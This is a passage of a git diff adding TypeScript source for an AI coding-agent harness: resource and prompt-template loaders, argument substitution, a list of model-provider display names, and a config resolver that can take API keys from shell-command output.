enabled }); + } + } + + private createAccumulator(): ResourceAccumulator { + return { + extensions: new Map(), + skills: new Map(), + prompts: new Map(), + themes: new Map(), + }; + } + + private toResolvedPaths(accumulator: ResourceAccumulator): ResolvedPaths { + const mapToResolved = ( + entries: Map, + ): ResolvedResource[] => { + const resolved = Array.from(entries.entries()).map(([path, { metadata, enabled }]) => ({ + path, + enabled, + metadata, + })); + resolved.sort( + (a, b) => resourcePrecedenceRank(a.metadata) - resourcePrecedenceRank(b.metadata), + ); + + const seen = new Set(); + return resolved.filter((entry) => { + const canonicalPath = canonicalizePath(entry.path); + if (seen.has(canonicalPath)) { + return false; + } + seen.add(canonicalPath); + return true; + }); + }; + + return { + extensions: mapToResolved(accumulator.extensions), + skills: mapToResolved(accumulator.skills), + prompts: mapToResolved(accumulator.prompts), + themes: mapToResolved(accumulator.themes), + }; + } +} diff --git a/src/agents/sessions/prompt-templates.ts b/src/agents/sessions/prompt-templates.ts new file mode 100644 index 00000000000..b6eed709a5a --- /dev/null +++ b/src/agents/sessions/prompt-templates.ts @@ -0,0 +1,315 @@ +import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { basename, dirname, isAbsolute, join, resolve, sep } from "node:path"; +import { CONFIG_DIR_NAME } from "../config.js"; +import { parseFrontmatter } from "../utils/frontmatter.js"; +import { createSyntheticSourceInfo, type SourceInfo } from "./source-info.js"; + +/** + * Represents a prompt template loaded from a markdown file + */ +export interface PromptTemplate { + name: string; + description: string; + argumentHint?: string; + content: string; + sourceInfo: SourceInfo; + filePath: string; // Absolute path to the template file +} + +/** + * Parse command arguments respecting quoted strings (bash-style) + * Returns array of arguments + */ +export function parseCommandArgs(argsString: string): string[] { + const args: string[] = []; + let current = ""; + let inQuote: string | null = null; + + for (let i = 0; i < argsString.length; i++) { + const char = argsString[i]; + + if (inQuote) { + if (char === inQuote) { + inQuote = null; + } else { + current += char; + } + } else if (char === '"' || char === "'") { + inQuote = char; + } else if (/\s/.test(char)) { + if (current) { + args.push(current); + current = ""; + } + } else { + current += char; + } + } + + if (current) { + args.push(current); + } + + return args; +} + +/** + * Substitute argument placeholders in template content + * Supports: + * - $1, $2, ... for positional args + * - $@ and $ARGUMENTS for all args + * - ${@:N} for args from Nth onwards (bash-style slicing) + * - ${@:N:L} for L args starting from Nth + * + * Note: Replacement happens on the template string only. Argument values + * containing patterns like $1, $@, or $ARGUMENTS are NOT recursively substituted. + */ +export function substituteArgs(content: string, args: string[]): string { + let result = content; + + // Replace $1, $2, etc. with positional args FIRST (before wildcards) + // This prevents wildcard replacement values containing $ patterns from being re-substituted + result = result.replace(/\$(\d+)/g, (_, num) => { + const index = Number.parseInt(num, 10) - 1; + return args[index] ?? ""; + }); + + // Replace ${@:start} or ${@:start:length} with sliced args (bash-style) + // Process BEFORE simple $@ to avoid conflicts + result = result.replace(/\$\{@:(\d+)(?::(\d+))?\}/g, (_, startStr, lengthStr) => { + let start = Number.parseInt(startStr, 10) - 1; // Convert to 0-indexed (user provides 1-indexed) + // Treat 0 as 1 (bash convention: args start at 1) + if (start < 0) { + start = 0; + } + + if (lengthStr) { + const length = Number.parseInt(lengthStr, 10); + return args.slice(start, start + length).join(" "); + } + return args.slice(start).join(" "); + }); + + // Pre-compute all args joined (optimization) + const allArgs = args.join(" "); + + // Replace $ARGUMENTS with all args joined (new syntax, aligns with Claude, Codex, OpenCode) + result = result.replace(/\$ARGUMENTS/g, allArgs); + + // Replace $@ with all args joined (existing syntax) + result = result.replace(/\$@/g, allArgs); + + return result; +} + +function loadTemplateFromFile(filePath: string, sourceInfo: SourceInfo): PromptTemplate | null { + try { + const rawContent = readFileSync(filePath, "utf-8"); + const { frontmatter, body } = parseFrontmatter>(rawContent); + + const name = basename(filePath).replace(/\.md$/, ""); + + // Get description from frontmatter or first non-empty line + let description = frontmatter.description || ""; + if (!description) { + const firstLine = body.split("\n").find((line) => line.trim()); + if (firstLine) { + // Truncate if too long + description = firstLine.slice(0, 60); + if (firstLine.length > 60) { + description += "..."; + } + } + } + + return { + name, + description, + ...(frontmatter["argument-hint"] && { argumentHint: frontmatter["argument-hint"] }), + content: body, + sourceInfo, + filePath, + }; + } catch { + return null; + } +} + +/** + * Scan a directory for .md files (non-recursive) and load them as prompt templates. + */ +function loadTemplatesFromDir( + dir: string, + getSourceInfo: (filePath: string) => SourceInfo, +): PromptTemplate[] { + const templates: PromptTemplate[] = []; + + if (!existsSync(dir)) { + return templates; + } + + try { + const entries = readdirSync(dir, { withFileTypes: true }); + + for (const entry of entries) { + const fullPath = join(dir, entry.name); + + // For symlinks, check if they point to a file + let isFile = entry.isFile(); + if (entry.isSymbolicLink()) { + try { + const stats = statSync(fullPath); + isFile = stats.isFile(); + } catch { + // Broken symlink, skip it + continue; + } + } + + if (isFile && entry.name.endsWith(".md")) { + const template = loadTemplateFromFile(fullPath, getSourceInfo(fullPath)); + if (template) { + templates.push(template); + } + } + } + } catch { + return templates; + } + + return templates; +} + +export interface LoadPromptTemplatesOptions { + /** Working directory for project-local templates. */ + cwd: string; + /** Agent config directory for global templates. */ + agentDir: string; + /** Explicit prompt template paths (files or directories). */ + promptPaths: string[]; + /** Include default prompt directories. */ + includeDefaults: boolean; +} + +function normalizePath(input: string): string { + const trimmed = input.trim(); + if (trimmed === "~") { + return homedir(); + } + if (trimmed.startsWith("~/")) { + return join(homedir(), trimmed.slice(2)); + } + if (trimmed.startsWith("~")) { + return join(homedir(), trimmed.slice(1)); + } + return trimmed; +} + +function resolvePromptPath(p: string, cwd: string): string { + const normalized = normalizePath(p); + return isAbsolute(normalized) ? normalized : resolve(cwd, normalized); +} + +/** + * Load all prompt templates from: + * 1. Global: agentDir/prompts/ + * 2. Project: cwd/{CONFIG_DIR_NAME}/prompts/ + * 3. Explicit prompt paths + */ +export function loadPromptTemplates(options: LoadPromptTemplatesOptions): PromptTemplate[] { + const resolvedCwd = options.cwd; + const resolvedAgentDir = options.agentDir; + const promptPaths = options.promptPaths; + const includeDefaults = options.includeDefaults; + + const templates: PromptTemplate[] = []; + + const globalPromptsDir = options.agentDir ? join(options.agentDir, "prompts") : resolvedAgentDir; + const projectPromptsDir = resolve(resolvedCwd, CONFIG_DIR_NAME, "prompts"); + + const isUnderPath = (target: string, root: string): boolean => { + const normalizedRoot = resolve(root); + if (target === normalizedRoot) { + return true; + } + const prefix = normalizedRoot.endsWith(sep) ? normalizedRoot : `${normalizedRoot}${sep}`; + return target.startsWith(prefix); + }; + + const getSourceInfo = (resolvedPath: string): SourceInfo => { + if (isUnderPath(resolvedPath, globalPromptsDir)) { + return createSyntheticSourceInfo(resolvedPath, { + source: "local", + scope: "user", + baseDir: globalPromptsDir, + }); + } + if (isUnderPath(resolvedPath, projectPromptsDir)) { + return createSyntheticSourceInfo(resolvedPath, { + source: "local", + scope: "project", + baseDir: projectPromptsDir, + }); + } + return createSyntheticSourceInfo(resolvedPath, { + source: "local", + baseDir: statSync(resolvedPath).isDirectory() ? resolvedPath : dirname(resolvedPath), + }); + }; + + if (includeDefaults) { + templates.push(...loadTemplatesFromDir(globalPromptsDir, getSourceInfo)); + templates.push(...loadTemplatesFromDir(projectPromptsDir, getSourceInfo)); + } + + // 3. Load explicit prompt paths + for (const rawPath of promptPaths) { + const resolvedPath = resolvePromptPath(rawPath, resolvedCwd); + if (!existsSync(resolvedPath)) { + continue; + } + + try { + const stats = statSync(resolvedPath); + if (stats.isDirectory()) { + templates.push(...loadTemplatesFromDir(resolvedPath, getSourceInfo)); + } else if (stats.isFile() && resolvedPath.endsWith(".md")) { + const template = loadTemplateFromFile(resolvedPath, getSourceInfo(resolvedPath)); + if (template) { + templates.push(template); + } + } + } catch { + // Ignore read failures + } + } + + return templates; +} + +/** + * Expand a prompt template if it matches a template name. + * Returns the expanded content or the original text if not a template. + */ +export function expandPromptTemplate(text: string, templates: PromptTemplate[]): string { + if (!text.startsWith("/")) { + return text; + } + + const match = text.match(/^\/([^\s]+)(?:\s+([\s\S]*))?$/); + if (!match) { + return text; + } + + const templateName = match[1]; + const argsString = match[2] ?? ""; + + const template = templates.find((t) => t.name === templateName); + if (template) { + const args = parseCommandArgs(argsString); + return substituteArgs(template.content, args); + } + + return text; +} diff --git a/src/agents/sessions/provider-display-names.ts b/src/agents/sessions/provider-display-names.ts new file mode 100644 index 00000000000..0bb570be258 --- /dev/null +++ b/src/agents/sessions/provider-display-names.ts @@ -0,0 +1,32 @@ +export const BUILT_IN_PROVIDER_DISPLAY_NAMES: Record = { + anthropic: "Anthropic", + "amazon-bedrock": "Amazon Bedrock", + "azure-openai-responses": "Azure OpenAI Responses", + cerebras: "Cerebras", + "cloudflare-ai-gateway": "Cloudflare AI Gateway", + "cloudflare-workers-ai": "Cloudflare Workers AI", + deepseek: "DeepSeek", + fireworks: "Fireworks", + google: "Google Gemini", + "google-vertex": "Google Vertex AI", + groq: "Groq", + huggingface: "Hugging Face", + "kimi-coding": "Kimi For Coding", + mistral: "Mistral", + minimax: "MiniMax", + "minimax-cn": "MiniMax (China)", + moonshotai: "Moonshot AI", + "moonshotai-cn": "Moonshot AI (China)", + opencode: "OpenCode Zen", + "opencode-go": "OpenCode Go", + openai: "OpenAI", + openrouter: "OpenRouter", + together: "Together AI", + "vercel-ai-gateway": "Vercel AI Gateway", + xai: "xAI", + zai: "ZAI", + xiaomi: "Xiaomi MiMo", + "xiaomi-token-plan-cn": "Xiaomi MiMo Token Plan (China)", + "xiaomi-token-plan-ams": "Xiaomi MiMo Token Plan (Amsterdam)", + "xiaomi-token-plan-sgp": "Xiaomi MiMo Token Plan (Singapore)", +}; diff --git a/src/agents/sessions/resolve-config-value.ts b/src/agents/sessions/resolve-config-value.ts new file mode 100644 index 00000000000..fe91e32e12e --- /dev/null +++ b/src/agents/sessions/resolve-config-value.ts @@ -0,0 +1,153 @@ +/** + * Resolve configuration values that may be shell commands, environment variables, or literals. + * Used by auth-storage.ts and model-registry.ts. + */ + +import { execSync, spawnSync } from "node:child_process"; +import { getShellConfig } from "../utils/shell.js"; + +// Cache for shell command results (persists for process lifetime) +const commandResultCache = new Map(); + +/** + * Resolve a config value (API key, header value, etc.) to an actual value. + * - If starts with "!", executes the rest as a shell command and uses stdout (cached) + * - Otherwise checks environment variable first, then treats as literal (not cached) + */ +export function resolveConfigValue(config: string): string | undefined { + if (config.startsWith("!")) { + return executeCommand(config); + } + const envValue = process.env[config]; + return envValue || config; +} + +function executeWithConfiguredShell(command: string): { + executed: boolean; + value: string | undefined; +} { + try { + const { shell, args } = getShellConfig(); + const result = spawnSync(shell, [...args, command], { + encoding: "utf-8", + timeout: 10000, + stdio: ["ignore", "pipe", "ignore"], + shell: false, + windowsHide: true, + }); + + if (result.error) { + const error = result.error as NodeJS.ErrnoException; + if (error.code === "ENOENT") { + return { executed: false, value: undefined }; + } + return { executed: true, value: undefined }; + } + + if (result.status !== 0) { + return { executed: true, value: undefined }; + } + + const value = (result.stdout ?? "").trim(); + return { executed: true, value: value || undefined }; + } catch { + return { executed: false, value: undefined }; + } +} + +function executeWithDefaultShell(command: string): string | undefined { + try { + const output = execSync(command, { + encoding: "utf-8", + timeout: 10000, + stdio: ["ignore", "pipe", "ignore"], + }); + return output.trim() || undefined; + } catch { + return undefined; + } +} + +function executeCommandUncached(commandConfig: string): string | undefined { + const command = commandConfig.slice(1); + return process.platform === "win32" + ? (() => { + const configuredResult = executeWithConfiguredShell(command); + return configuredResult.executed + ? configuredResult.value + : executeWithDefaultShell(command); + })() + : executeWithDefaultShell(command); +} + +function executeCommand(commandConfig: string): string | undefined { + if (commandResultCache.has(commandConfig)) { + return commandResultCache.get(commandConfig); + } + + const result = executeCommandUncached(commandConfig); + commandResultCache.set(commandConfig, result); + return result; +} + +/** + * Resolve all header values using the same resolution logic as API keys. + */ +export function resolveConfigValueUncached(config: string): string | undefined { + if (config.startsWith("!")) { + return executeCommandUncached(config); + } + const envValue = process.env[config]; + return envValue || config; +} + +export function resolveConfigValueOrThrow(config: string, description: string): string { + const resolvedValue = resolveConfigValueUncached(config); + if (resolvedValue !== undefined) { + return resolvedValue; + } + + if (config.startsWith("!")) { + throw new Error(`Failed to resolve ${description} from shell command: ${config.slice(1)}`); + } + + throw new Error(`Failed to resolve ${description}`); +} + +/** + * Resolve all header values using the same resolution logic as API keys. + */ +export function resolveHeaders( + headers: Record | undefined, +): Record | undefined { + if (!headers) { + return undefined; + } + const resolved: Record = {}; + for (const [key, value] of Object.entries(headers)) { + const resolvedValue = resolveConfigValue(value); + if (resolvedValue) { + resolved[key] = resolvedValue; + } + } + return Object.keys(resolved).length > 0 ? resolved : undefined; +} + +export function resolveHeadersOrThrow( + headers: Record | undefined, + description: string, +): Record | undefined { + if (!headers) { + return undefined; + } + const resolved: Record = {}; + for (const [key, value] of Object.entries(headers)) { + resolved[key] = resolveConfigValueOrThrow(value, `${description} header "${key}"`); + } + return Object.keys(resolved).length > 0 ? resolved : undefined; +} + +/** Clear the config value command cache. Exported for testing. */ +export function clearConfigValueCache(): void { + commandResultCache.clear(); +} diff --git a/src/agents/sessions/resource-loader.ts b/src/agents/sessions/resource-loader.ts new file mode 100644 index 00000000000..bd39cfa1849 --- /dev/null +++ b/src/agents/sessions/resource-loader.ts @@ -0,0 +1,1028 @@ +import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join, resolve, sep } from "node:path"; +import chalk from "chalk"; +import { CONFIG_DIR_NAME } from "../config.js"; +import { loadThemeFromPath, type Theme } from "../modes/interactive/theme/theme.js"; +import type { ResourceDiagnostic } from "./diagnostics.js"; + +export type { ResourceCollision, ResourceDiagnostic } from "./diagnostics.js"; + +import { canonicalizePath, isLocalPath } from "../utils/paths.js"; +import { createEventBus, type EventBus } from "./event-bus.js"; +import { + createExtensionRuntime, + loadExtensionFromFactory, + loadExtensions, +} from "./extensions/loader.js"; +import type { + Extension, + ExtensionFactory, + ExtensionRuntime, + LoadExtensionsResult, +} from "./extensions/types.js"; +import { DefaultPackageManager, type PathMetadata } from "./package-manager.js"; +import type { PromptTemplate } from "./prompt-templates.js"; +import { loadPromptTemplates } from "./prompt-templates.js"; +import { SettingsManager } from "./settings-manager.js"; +import type { Skill } from "./skills.js"; +import { loadSkills } from "./skills.js"; +import { createSourceInfo, type SourceInfo } from "./source-info.js"; + +export interface ResourceExtensionPaths { + skillPaths?: Array<{ path: string; metadata: PathMetadata }>; + promptPaths?: Array<{ path: string; metadata: PathMetadata }>; + themePaths?: Array<{ path: string; metadata: PathMetadata }>; +} + +export interface ResourceLoader { + getExtensions(): LoadExtensionsResult; + getSkills(): { skills: Skill[]; diagnostics: ResourceDiagnostic[] }; + getPrompts(): { prompts: PromptTemplate[]; diagnostics: ResourceDiagnostic[] }; + getThemes(): { themes: Theme[]; diagnostics: ResourceDiagnostic[] }; + getAgentsFiles(): { agentsFiles: Array<{ path: string; content: string }> }; + getSystemPrompt(): string | undefined; + getAppendSystemPrompt(): string[]; + extendResources(paths: ResourceExtensionPaths): void; + reload(): Promise; +} + +function resolvePromptInput(input: string | undefined, description: string): string | undefined { + if (!input) { + return undefined; + } + + if (existsSync(input)) { + try { + return readFileSync(input, "utf-8"); + } catch (error) { + console.error( + chalk.yellow(`Warning: Could not read ${description} file ${input}: ${String(error)}`), + ); + return input; + } + } + + return input; +} + +function loadContextFileFromDir(dir: string): { path: string; content: string } | null { + const candidates = ["AGENTS.md", "AGENTS.MD", "CLAUDE.md", "CLAUDE.MD"]; + for (const filename of candidates) { + const filePath = join(dir, filename); + if (existsSync(filePath)) { + try { + return { + path: filePath, + content: readFileSync(filePath, "utf-8"), + }; + } catch (error) { + console.error(chalk.yellow(`Warning: Could not read ${filePath}: ${String(error)}`)); + } + } + } + return null; +} + +export function loadProjectContextFiles(options: { + cwd: string; + agentDir: string; +}): Array<{ path: string; content: string }> { + const resolvedCwd = options.cwd; + const resolvedAgentDir = options.agentDir; + + const contextFiles: Array<{ path: string; content: string }> = []; + const seenPaths = new Set(); + + const globalContext = loadContextFileFromDir(resolvedAgentDir); + if (globalContext) { + contextFiles.push(globalContext); + seenPaths.add(globalContext.path); + } + + const ancestorContextFiles: Array<{ path: string; content: string }> = []; + + let currentDir = resolvedCwd; + const root = resolve("/"); + + while (true) { + const contextFile = loadContextFileFromDir(currentDir); + if (contextFile && !seenPaths.has(contextFile.path)) { + ancestorContextFiles.unshift(contextFile); + seenPaths.add(contextFile.path); + } + + if (currentDir === root) { + break; + } + + const parentDir = resolve(currentDir, ".."); + if (parentDir === currentDir) { + break; + } + currentDir = parentDir; + } + + contextFiles.push(...ancestorContextFiles); + + return contextFiles; +} + +export interface DefaultResourceLoaderOptions { + cwd: string; + agentDir: string; + settingsManager?: SettingsManager; + eventBus?: EventBus; + additionalExtensionPaths?: string[]; + additionalSkillPaths?: string[]; + additionalPromptTemplatePaths?: string[]; + additionalThemePaths?: string[]; + extensionFactories?: ExtensionFactory[]; + noExtensions?: boolean; + noSkills?: boolean; + noPromptTemplates?: boolean; + noThemes?: boolean; + noContextFiles?: boolean; + systemPrompt?: string; + appendSystemPrompt?: string[]; + extensionsOverride?: (base: LoadExtensionsResult) => LoadExtensionsResult; + skillsOverride?: (base: { skills: Skill[]; diagnostics: ResourceDiagnostic[] }) => { + skills: Skill[]; + diagnostics: ResourceDiagnostic[]; + }; + promptsOverride?: (base: { prompts: PromptTemplate[]; diagnostics: ResourceDiagnostic[] }) => { + prompts: PromptTemplate[]; + diagnostics: ResourceDiagnostic[]; + }; + themesOverride?: (base: { themes: Theme[]; diagnostics: ResourceDiagnostic[] }) => { + themes: Theme[]; + diagnostics: ResourceDiagnostic[]; + }; + agentsFilesOverride?: (base: { agentsFiles: Array<{ path: string; content: string }> }) => { + agentsFiles: Array<{ path: string; content: string }>; + }; + systemPromptOverride?: (base: string | undefined) => string | undefined; + appendSystemPromptOverride?: (base: string[]) => string[]; +} + +export class DefaultResourceLoader implements ResourceLoader { + private cwd: string; + private agentDir: string; + private settingsManager: SettingsManager; + private eventBus: EventBus; + private packageManager: DefaultPackageManager; + private additionalExtensionPaths: string[]; + private additionalSkillPaths: string[]; + private additionalPromptTemplatePaths: string[]; + private additionalThemePaths: string[]; + private extensionFactories: ExtensionFactory[]; + private noExtensions: boolean; + private noSkills: boolean; + private noPromptTemplates: boolean; + private noThemes: boolean; + private noContextFiles: boolean; + private systemPromptSource?: string; + private appendSystemPromptSource?: string[]; + private extensionsOverride?: (base: LoadExtensionsResult) => LoadExtensionsResult; + private skillsOverride?: (base: { skills: Skill[]; diagnostics: ResourceDiagnostic[] }) => { + skills: Skill[]; + diagnostics: ResourceDiagnostic[]; + }; + private promptsOverride?: (base: { + prompts: PromptTemplate[]; + diagnostics: ResourceDiagnostic[]; + }) => { + prompts: PromptTemplate[]; + diagnostics: ResourceDiagnostic[]; + }; + private themesOverride?: (base: { themes: Theme[]; diagnostics: ResourceDiagnostic[] }) => { + themes: Theme[]; + diagnostics: ResourceDiagnostic[]; + }; + private agentsFilesOverride?: (base: { + agentsFiles: Array<{ path: string; content: string }>; + }) => { + agentsFiles: Array<{ path: string; content: string }>; + }; + private systemPromptOverride?: (base: string | undefined) => string | undefined; + private appendSystemPromptOverride?: (base: string[]) => string[]; + + private extensionsResult: LoadExtensionsResult; + private skills: Skill[]; + private skillDiagnostics: ResourceDiagnostic[]; + private prompts: PromptTemplate[]; + private promptDiagnostics: ResourceDiagnostic[]; + private themes: Theme[]; + private themeDiagnostics: ResourceDiagnostic[]; + private agentsFiles: Array<{ path: string; content: string }>; + private systemPrompt?: string; + private appendSystemPrompt: string[]; + private lastSkillPaths: string[]; + private extensionSkillSourceInfos: Map; + private extensionPromptSourceInfos: Map; + private extensionThemeSourceInfos: Map; + private lastPromptPaths: string[]; + private lastThemePaths: string[]; + + constructor(options: DefaultResourceLoaderOptions) { + this.cwd = options.cwd; + this.agentDir = options.agentDir; + this.settingsManager = + options.settingsManager ?? SettingsManager.create(this.cwd, this.agentDir); + this.eventBus = options.eventBus ?? createEventBus(); + this.packageManager = new DefaultPackageManager({ + cwd: this.cwd, + agentDir: this.agentDir, + settingsManager: this.settingsManager, + }); + this.additionalExtensionPaths = options.additionalExtensionPaths ?? []; + this.additionalSkillPaths = options.additionalSkillPaths ?? []; + this.additionalPromptTemplatePaths = options.additionalPromptTemplatePaths ?? []; + this.additionalThemePaths = options.additionalThemePaths ?? []; + this.extensionFactories = options.extensionFactories ?? []; + this.noExtensions = options.noExtensions ?? false; + this.noSkills = options.noSkills ?? false; + this.noPromptTemplates = options.noPromptTemplates ?? false; + this.noThemes = options.noThemes ?? false; + this.noContextFiles = options.noContextFiles ?? false; + this.systemPromptSource = options.systemPrompt; + this.appendSystemPromptSource = options.appendSystemPrompt; + this.extensionsOverride = options.extensionsOverride; + this.skillsOverride = options.skillsOverride; + this.promptsOverride = options.promptsOverride; + this.themesOverride = options.themesOverride; + this.agentsFilesOverride = options.agentsFilesOverride; + this.systemPromptOverride = options.systemPromptOverride; + this.appendSystemPromptOverride = options.appendSystemPromptOverride; + + this.extensionsResult = { extensions: [], errors: [], runtime: createExtensionRuntime() }; + this.skills = []; + this.skillDiagnostics = []; + this.prompts = []; + this.promptDiagnostics = []; + this.themes = []; + this.themeDiagnostics = []; + this.agentsFiles = []; + this.appendSystemPrompt = []; + this.lastSkillPaths = []; + this.extensionSkillSourceInfos = new Map(); + this.extensionPromptSourceInfos = new Map(); + this.extensionThemeSourceInfos = new Map(); + this.lastPromptPaths = []; + this.lastThemePaths = []; + } + + getExtensions(): LoadExtensionsResult { + return this.extensionsResult; + } + + getSkills(): { skills: Skill[]; diagnostics: ResourceDiagnostic[] } { + return { skills: this.skills, diagnostics: this.skillDiagnostics }; + } + + getPrompts(): { prompts: PromptTemplate[]; diagnostics: ResourceDiagnostic[] } { + return { prompts: this.prompts, diagnostics: this.promptDiagnostics }; + } + + getThemes(): { themes: Theme[]; diagnostics: ResourceDiagnostic[] } { + return { themes: this.themes, diagnostics: this.themeDiagnostics }; + } + + getAgentsFiles(): { agentsFiles: Array<{ path: string; content: string }> } { + return { agentsFiles: this.agentsFiles }; + } + + getSystemPrompt(): string | undefined { + return this.systemPrompt; + } + + getAppendSystemPrompt(): string[] { + return this.appendSystemPrompt; + } + + extendResources(paths: ResourceExtensionPaths): void { + const skillPaths = this.normalizeExtensionPaths(paths.skillPaths ?? []); + const promptPaths = this.normalizeExtensionPaths(paths.promptPaths ?? []); + const themePaths = this.normalizeExtensionPaths(paths.themePaths ?? []); + + for (const entry of skillPaths) { + this.extensionSkillSourceInfos.set(entry.path, createSourceInfo(entry.path, entry.metadata)); + } + for (const entry of promptPaths) { + this.extensionPromptSourceInfos.set(entry.path, createSourceInfo(entry.path, entry.metadata)); + } + for (const entry of themePaths) { + this.extensionThemeSourceInfos.set(entry.path, createSourceInfo(entry.path, entry.metadata)); + } + + if (skillPaths.length > 0) { + this.lastSkillPaths = this.mergePaths( + this.lastSkillPaths, + skillPaths.map((entry) => entry.path), + ); + this.updateSkillsFromPaths(this.lastSkillPaths); + } + + if (promptPaths.length > 0) { + this.lastPromptPaths = this.mergePaths( + this.lastPromptPaths, + promptPaths.map((entry) => entry.path), + ); + this.updatePromptsFromPaths(this.lastPromptPaths); + } + + if (themePaths.length > 0) { + this.lastThemePaths = this.mergePaths( + this.lastThemePaths, + themePaths.map((entry) => entry.path), + ); + this.updateThemesFromPaths(this.lastThemePaths); + } + } + + async reload(): Promise { + await this.settingsManager.reload(); + const resolvedPaths = await this.packageManager.resolve(); + const cliExtensionPaths = await this.packageManager.resolveExtensionSources( + this.additionalExtensionPaths, + { + temporary: true, + }, + ); + const metadataByPath = new Map(); + + this.extensionSkillSourceInfos = new Map(); + this.extensionPromptSourceInfos = new Map(); + this.extensionThemeSourceInfos = new Map(); + + // Helper to extract enabled paths and store metadata + const getEnabledResources = ( + resources: Array<{ path: string; enabled: boolean; metadata: PathMetadata }>, + ): Array<{ path: string; enabled: boolean; metadata: PathMetadata }> => { + for (const r of resources) { + if (!metadataByPath.has(r.path)) { + metadataByPath.set(r.path, r.metadata); + } + } + return resources.filter((r) => r.enabled); + }; + + const getEnabledPaths = ( + resources: Array<{ path: string; enabled: boolean; metadata: PathMetadata }>, + ): string[] => getEnabledResources(resources).map((r) => r.path); + const enabledExtensions = getEnabledPaths(resolvedPaths.extensions); + const enabledSkillResources = getEnabledResources(resolvedPaths.skills); + const enabledPrompts = getEnabledPaths(resolvedPaths.prompts); + const enabledThemes = getEnabledPaths(resolvedPaths.themes); + + const mapSkillPath = (resource: { path: string; metadata: PathMetadata }): string => { + if (resource.metadata.source !== "auto" && resource.metadata.origin !== "package") { + return resource.path; + } + try { + const stats = statSync(resource.path); + if (!stats.isDirectory()) { + return resource.path; + } + } catch { + return resource.path; + } + const skillFile = join(resource.path, "SKILL.md"); + if (existsSync(skillFile)) { + if (!metadataByPath.has(skillFile)) { + metadataByPath.set(skillFile, resource.metadata); + } + return skillFile; + } + return resource.path; + }; + + const enabledSkills = enabledSkillResources.map(mapSkillPath); + + // Add CLI paths metadata + for (const r of cliExtensionPaths.extensions) { + if (!metadataByPath.has(r.path)) { + metadataByPath.set(r.path, { source: "cli", scope: "temporary", origin: "top-level" }); + } + } + for (const r of cliExtensionPaths.skills) { + if (!metadataByPath.has(r.path)) { + metadataByPath.set(r.path, { source: "cli", scope: "temporary", origin: "top-level" }); + } + } + + const cliEnabledExtensions = getEnabledPaths(cliExtensionPaths.extensions); + const cliEnabledSkills = getEnabledPaths(cliExtensionPaths.skills); + const cliEnabledPrompts = getEnabledPaths(cliExtensionPaths.prompts); + const cliEnabledThemes = getEnabledPaths(cliExtensionPaths.themes); + + const extensionPaths = this.noExtensions + ? cliEnabledExtensions + : this.mergePaths(cliEnabledExtensions, enabledExtensions); + + const extensionsResult = await loadExtensions(extensionPaths, this.cwd, this.eventBus); + const inlineExtensions = await this.loadExtensionFactories(extensionsResult.runtime); + extensionsResult.extensions.push(...inlineExtensions.extensions); + extensionsResult.errors.push(...inlineExtensions.errors); + + // Detect extension conflicts (tools, commands, flags with same names from different extensions) + // Keep all extensions loaded. Conflicts are reported as diagnostics, and precedence is handled by load order. + const conflicts = this.detectExtensionConflicts(extensionsResult.extensions); + for (const conflict of conflicts) { + extensionsResult.errors.push({ path: conflict.path, error: conflict.message }); + } + + for (const p of this.additionalExtensionPaths) { + if (isLocalPath(p) && !existsSync(p)) { + extensionsResult.errors.push({ path: p, error: `Extension path does not exist: ${p}` }); + } + } + this.extensionsResult = this.extensionsOverride + ? this.extensionsOverride(extensionsResult) + : extensionsResult; + this.applyExtensionSourceInfo(this.extensionsResult.extensions, metadataByPath); + + const skillPaths = this.noSkills + ? this.mergePaths(cliEnabledSkills, this.additionalSkillPaths) + : this.mergePaths([...cliEnabledSkills, ...enabledSkills], this.additionalSkillPaths); + + this.lastSkillPaths = skillPaths; + this.updateSkillsFromPaths(skillPaths, metadataByPath); + for (const p of this.additionalSkillPaths) { + if (isLocalPath(p) && !existsSync(p) && !this.skillDiagnostics.some((d) => d.path === p)) { + this.skillDiagnostics.push({ + type: "error", + message: "Skill path does not exist", + path: p, + }); + } + } + + const promptPaths = this.noPromptTemplates + ? this.mergePaths(cliEnabledPrompts, this.additionalPromptTemplatePaths) + : this.mergePaths( + [...cliEnabledPrompts, ...enabledPrompts], + this.additionalPromptTemplatePaths, + ); + + this.lastPromptPaths = promptPaths; + this.updatePromptsFromPaths(promptPaths, metadataByPath); + for (const p of this.additionalPromptTemplatePaths) { + if (isLocalPath(p) && !existsSync(p) && !this.promptDiagnostics.some((d) => d.path === p)) { + this.promptDiagnostics.push({ + type: "error", + message: "Prompt template path does not exist", + path: p, + }); + } + } + + const themePaths = this.noThemes + ? this.mergePaths(cliEnabledThemes, this.additionalThemePaths) + : this.mergePaths([...cliEnabledThemes, ...enabledThemes], this.additionalThemePaths); + + this.lastThemePaths = themePaths; + this.updateThemesFromPaths(themePaths, metadataByPath); + for (const p of this.additionalThemePaths) { + if (!existsSync(p) && !this.themeDiagnostics.some((d) => d.path === p)) { + this.themeDiagnostics.push({ + type: "error", + message: "Theme path does not exist", + path: p, + }); + } + } + + const agentsFiles = { + agentsFiles: this.noContextFiles + ? [] + : loadProjectContextFiles({ cwd: this.cwd, agentDir: this.agentDir }), + }; + const resolvedAgentsFiles = this.agentsFilesOverride + ? this.agentsFilesOverride(agentsFiles) + : agentsFiles; + this.agentsFiles = resolvedAgentsFiles.agentsFiles; + + const baseSystemPrompt = resolvePromptInput( + this.systemPromptSource ?? this.discoverSystemPromptFile(), + "system prompt", + ); + this.systemPrompt = this.systemPromptOverride + ? this.systemPromptOverride(baseSystemPrompt) + : baseSystemPrompt; + + const appendSources = + this.appendSystemPromptSource ?? + (this.discoverAppendSystemPromptFile() ? [this.discoverAppendSystemPromptFile()!] : []); + const baseAppend = appendSources + .map((s) => resolvePromptInput(s, "append system prompt")) + .filter((s): s is string => s !== undefined); + this.appendSystemPrompt = this.appendSystemPromptOverride + ? this.appendSystemPromptOverride(baseAppend) + : baseAppend; + } + + private normalizeExtensionPaths( + entries: Array<{ path: string; metadata: PathMetadata }>, + ): Array<{ path: string; metadata: PathMetadata }> { + return entries.map((entry) => ({ + path: this.resolveResourcePath(entry.path), + metadata: entry.metadata, + })); + } + + private updateSkillsFromPaths( + skillPaths: string[], + metadataByPath?: Map, + ): void { + let skillsResult: { skills: Skill[]; diagnostics: ResourceDiagnostic[] }; + if (this.noSkills && skillPaths.length === 0) { + skillsResult = { skills: [], diagnostics: [] }; + } else { + skillsResult = loadSkills({ + cwd: this.cwd, + agentDir: this.agentDir, + skillPaths, + includeDefaults: false, + }); + } + const resolvedSkills 